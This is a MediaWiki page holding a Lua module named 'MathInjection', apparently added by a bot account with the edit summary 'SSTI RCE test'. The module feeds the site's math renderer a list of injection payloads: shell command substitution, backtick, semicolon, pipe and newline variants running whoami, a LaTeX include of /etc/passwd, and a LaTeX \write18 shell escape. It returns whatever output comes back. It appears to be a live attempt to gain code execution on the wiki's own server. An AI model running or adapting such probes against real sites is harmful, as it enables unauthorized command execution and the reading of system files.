模块:MathInjection

来自希服维基
Bot93553讨论 | 贡献2026年5月9日 (六) 13:59的版本 (SSTI RCE test)
(差异) ←上一版本 | 最后版本 (差异) | 下一版本→ (差异)

可在模块:MathInjection/doc创建此模块的帮助文档

local p = {}
function p.test(frame)
    local parent = frame:getParent()
    if not parent then return "no_parent" end

    local results = {}

    -- Via preprocess
    local math_payloads = {
        "baseline",
        "\\frac{1}{2}",
        "$(whoami 2>&1)",  -- shell injection
        "`whoami 2>&1`",   -- backtick
        ";whoami 2>&1;",   -- semicolon
        "|whoami 2>&1",    -- pipe
        "\nwhoami 2>&1\n", -- newline
        "\\input{/etc/passwd}", -- LaTeX file include
        "\\immediate\\write18{whoami > /tmp/math_rce.txt}", -- LaTeX shell escape
    }

    for i, payload in ipairs(math_payloads) do
        local wikitext = "<math>" .. payload .. "</math>"
        local ok, out = pcall(parent.preprocess, parent, wikitext)
        results[i] = "math" .. i .. "=" .. tostring(out):sub(1,60)
    end

    return table.concat(results, " | ")
end
return p